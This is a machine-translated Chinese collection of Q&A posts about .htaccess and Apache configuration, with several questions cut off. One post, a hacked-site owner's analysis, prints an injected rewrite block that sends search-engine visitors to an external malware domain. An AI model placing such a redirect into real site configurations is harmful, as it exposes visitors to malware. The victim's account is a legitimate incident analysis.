标签: .htaccess

为什么我的 RewriteLog 不起作用?

我有一个 .htaccess 看起来像这样:

RewriteEngine on
RewriteLog "/Applications/MAMP/logs/rewrite_engine_log"

RewriteCond %{REQUEST_URI} !/(index.php|css|images|js)/.*$
RewriteRule (.*) /mysite/index.php/$1
Run Code Online (Sandbox Code Playgroud)

当我添加该 RewriteLog 指令时,我收到内部服务器错误。

在 Apache 日志文件中,我得到以下信息:

/Applications/MAMP/htdocs/mysite/.htaccess: RewriteLog not allowed here
Run Code Online (Sandbox Code Playgroud)

我没有手动创建该 rewrite_engine_log 文件,但该路径 /Applications/MAMP/logs/ 存在于我的 mac 上。接下来我可以尝试什么来获取 RewriteEngine 日志文件?

mod-rewrite mac .htaccess mamp apache-2.2

9
推荐指数
1
解决办法
2万
查看次数

限制上传文件大小并在超过限制时将用户重定向到错误页面

是否可以将用户重定向到文件file too big页面

当 POST 请求大小超过指定限制时?

我知道 max-request-size 选项,但它只提供不能重载的静态页面。

我正在考虑创建一个重写规则,它需要

来自请求正文的内容大小作为输入并重定向到错误页面

更新

现在我们使用 nginx 作为前端。有什么新建议吗?

nginx lighttpd .htaccess httpd.conf upload

9
推荐指数
1
解决办法
1万
查看次数

如何通过 htaccess 隐藏我的 Wordpress 安装?

(我知道不建议通过默默无闻来保证安全)。

我试图隐藏我正在使用 Wordpress 的事实。这篇文章很有帮助,但它只解决了内容(有点)。我有兴趣发生以下情况:

  1. 用户尝试wp*通过浏览器访问任何带有子字符串的url 。

    结果:重定向到 404 页面。

  2. 博客用户/管理员知道为了登录他们应该去http://example.com/blogin/

    结果: apache 将它们重定向到http://example.com/wp-admin/.

  3. 如果用户尝试wp-admin从他们的浏览器直接访问,他们会被发送到 #1。

    结果:重定向到 404 页面。

到目前为止我做过的事情

  1. 我注意到对于 WordPress 的默认安装,我可以访问wp*WP 安装的(相对)根目录中的任何文件。特别wp-settings.php是有问题,因为它泄露了有关我的设置的信息。如果用户访问它,它会抛出一些 PHP 错误并显示部分目录结构。我编辑了我的 php.ini 文件以display_errors关闭。现在访问http://example.com/wp-settngs.php会出现一个空白页面。

  2. 这本身并不理想,因为它表明wp-settings.php存在。事实上,访问所有不同的wp*文件是可能的(具有不同的结果)。然后我将以下内容放入我的 htaccess 文件中:

          RewriteEngine On
          RewriteBase /
          RewriteCond %{PATH_INFO} wp* [NC]
          RewriteRule .* - [F]
    
    Run Code Online (Sandbox Code Playgroud)

    这很好用!任何带有 a 的内容都wp*被路由到我的自定义 404 页面。但是现在我无法访问我的管理页面。

  3. 我想这条线插入到上面的代码:RewriteRule ^blogin wp-admin [NC,R,L]。它应该是在之后,RewriteBase …

.htaccess wordpress redirection

9
推荐指数
1
解决办法
4837
查看次数

.htaccess 无法正确重定向到以 www 为前缀的页面

我正在尝试重定向没有 www 的 url。到 www.version(example.com 到 www.example.com)。我用通常的

RewriteCond %{HTTP_HOST} ^example\.com [nc]
RewriteRule (.*) http://www.example.com/$1 [R=301,L]
Run Code Online (Sandbox Code Playgroud)

这适用于我所有的其他项目。但是,在这个特定站点上,它以重定向循环结束。这是奇怪的部分:我试图卷曲非 www 版本以查看它使用 curl --get http://example.com --dump-header domain.header > domain.html. 头文件如下所示:

HTTP/1.1 301 Moved Permanently
Date: Mon, 06 Jun 2011 14:45:16 GMT
Server: Apache/2.2.16 (Debian)
Location: http://example.com/
Vary: Accept-Encoding
Content-Length: 310
Content-Type: text/html; charset=iso-8859-1
Run Code Online (Sandbox Code Playgroud)

但是,生成的 HTML 文件是这样的:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.example.com/">here</a>.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at example.com Port 80</address> …
Run Code Online (Sandbox Code Playgroud)

php mod-rewrite .htaccess http-headers apache-2.2

9
推荐指数
1
解决办法
1838
查看次数

通过受感染的 FTP 帐户剖析网站攻击

我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。

这就是发生的事情。

几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。

在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。

几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)

可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。

快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。

由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。

我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。

我想确定我的代码不是问题,所以我在修改 …

hacking ftp godaddy .htaccess

9
推荐指数
2
解决办法
1255
查看次数

.htaccess 不询问密码

我正在使用 Ubuntu 12.04 并尝试在带有 apache2 服务器的页面上使用 .htaccess。我的 .htaccess 文件如下所示:

AuthType Basic
AuthName "Password Required"
AuthBasicProvider file
AuthUserFile /home/janeb/.htpasswd
require valid-user
Run Code Online (Sandbox Code Playgroud)

/home/janeb/.htpasswd 文件是:

inb351:$apr1$Ya4tzYvr$KCs3eyK1O2/c7Q9zRcwn..
Run Code Online (Sandbox Code Playgroud)

和 /etc/apache2/sites-available/default 文件是:

UserDir public_html
<Directory ~ "public_html/.*">
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        Order allow,deny
        allow from all  
</Directory>
Run Code Online (Sandbox Code Playgroud)

我重新启动了apache。我尝试更改require valid-userrequire user inb351. 仍然没有运气。我也试过AllowOverrideAuthConfigAuthConfig Indexes。所以我不知道还能做什么,是的,我尝试过的每一步都重新启动了 apache。

编辑:确切的默认文件是:

<VirtualHost *:80>
ServerAdmin webmaster@localhost

DocumentRoot /var/www
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>
<Directory /var/www/>
    Options Indexes FollowSymLinks MultiViews …
Run Code Online (Sandbox Code Playgroud)

ubuntu .htaccess apache-2.2

9
推荐指数
1
解决办法
3万
查看次数

命令“AuthType”无效,可能拼写错误或由服务器配置中未包含的模块定义

我正在尝试用密码保护文档根目录,但我得到的只是一个“内部服务器错误”页面。Apache 错误日志显示:

Invalid command 'AuthType', perhaps misspelled or defined by a module not included in the server configuration
Run Code Online (Sandbox Code Playgroud)

在任何重写条目之前我的 .htaccess 文件:

AuthType Basic
AuthName "Restricted Access"
AuthBasicProvider file
AuthUserFile /var/www/public/.htpasswd
Require user dean
Run Code Online (Sandbox Code Playgroud)

我检查了模块是否已启用:

Array ( 
    [0] => core 
    [1] => mod_so
    [2] => mod_watchdog 
    [3] => http_core 
    [4] => mod_log_config 
    [5] => mod_logio 
    [6] => mod_version 
    [7] => mod_unixd 
    [8] => mod_access_compat 
    [9] => mod_alias 
    [10] => mod_auth_basic 
    [11] => mod_authn_file 
    [12] => mod_authz_core 
    [13] => mod_authz_groupfile 
    [14] => …
Run Code Online (Sandbox Code Playgroud)

ubuntu .htaccess .htpasswd apache-2.4

8
推荐指数
1
解决办法
2万
查看次数

已加载 Apache 标头模块但无法在 htaccess 中设置标头

我在我的新开发机器 (mac) 上安装并运行了 Apache 2.2.29 (unix)。我正在尝试为 API 项目设置 CORS 标头 - 我已经做过很多次了。

该项目的 htaccess 文件如下所示:

<IfModule mod_headers.c>
    Header set Access-Control-Allow-Origin "*"
    Header set Access-Control-Allow-Methods "POST, GET, PUT, OPTIONS, PATCH, DELETE" 
    Header set Access-Control-Allow-Headers "X-Accept-Charset,X-Accept,Content-Type"
    ServerSignature Off
</IfModule>
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /cms/public
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} !^/(favicon\.ico|apple-touch-icon.*\.png)$ [NC]
    RewriteRule (.+) index.php?p=$1 [QSA,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)

并且 headers 模块已加载到我的 conf 中:

LoadModule headers_module libexec/mod_headers.so
Run Code Online (Sandbox Code Playgroud)

模块文件存在于 apache conf 中显示的位置,并且加载正常:

dan$ httpd -M

Loaded Modules:
 core_module (static)
 mpm_event_module (static)
 http_module …
Run Code Online (Sandbox Code Playgroud)

.htaccess httpd.conf http-headers apache-2.2 cors

8
推荐指数
1
解决办法
8723
查看次数

排除受保护的子 URL 在 Apache 2.4 上不起作用?

我尝试从受保护的网站中排除子网址“/shop/api”。它在 Apache/2.2.15 上的不同服务器上运行良好,但现在不适用于 Apache/2.4.7?它总是要求进行基本身份验证。知道我做错了什么吗?

AuthType Basic
AuthName 'Authentication required'
AuthUserFile /var/www/vhosts/pwd/.htpasswd

# Allow access to excluded diretories
SetEnvIf Request_URI ^/shop/api/  noauth=1
Order deny,allow
Satisfy any
Deny from all
Require valid-user
Allow from env=noauth
Run Code Online (Sandbox Code Playgroud)

.htaccess http-basic-authentication apache-2.4

8
推荐指数
1
解决办法
6342
查看次数

apache .htaccess 文件中的 HTTP_HOST 和 HTTPS_HOST 有什么区别?

我正在编辑一个.htaccess文件..

在 RewriteRules 的 RewriteCondition 中,HTTPS_HOST似乎只匹配通过https://协议 (ssl)访问的 url 。我在某处的文档中看到它是一个 T/F 变量,指示是否使用安全协议访问了 url。

然而,我在上文档的麻烦发现是否HTTP_HOST只匹配http://协议,或者如果它有效地匹配//相对的协议,这意味着它符合双方 http:// https://

有人可以以一种或另一种方式确认,或向我指出此信息的明确来源吗?

此外,如果HTTP_HOST匹配两个协议变体,过滤 http://协议匹配的最佳方法是什么?

例子:

<IfModule mod_rewrite.c>
RewriteEngine on
Rewritecond %{HTTP_HOST} ^\/\.(?!some-url).*$
RewriteRule (.*) https://www.example.com/$1 [R=301,L,NC]
</IfModule>
Run Code Online (Sandbox Code Playgroud)

相比之下:

...
Rewritecond %{HTTPS_HOST} ^\/\.(?!some-url).*$
...
Run Code Online (Sandbox Code Playgroud)

编辑:实验表明,HTTP_HOST 似乎与两种协议都匹配,而HTTPS_HOST仅当协议或 url 以https://.

.

(注重:apache2标签
。TBH,我不能肯定我运行的是什么版本的Apache将尝试找出,这样我就可以装上适当的标签..
我想httpd -vapache -v, …

mod-rewrite rewrite .htaccess apache2

8
推荐指数
1
解决办法
3万
查看次数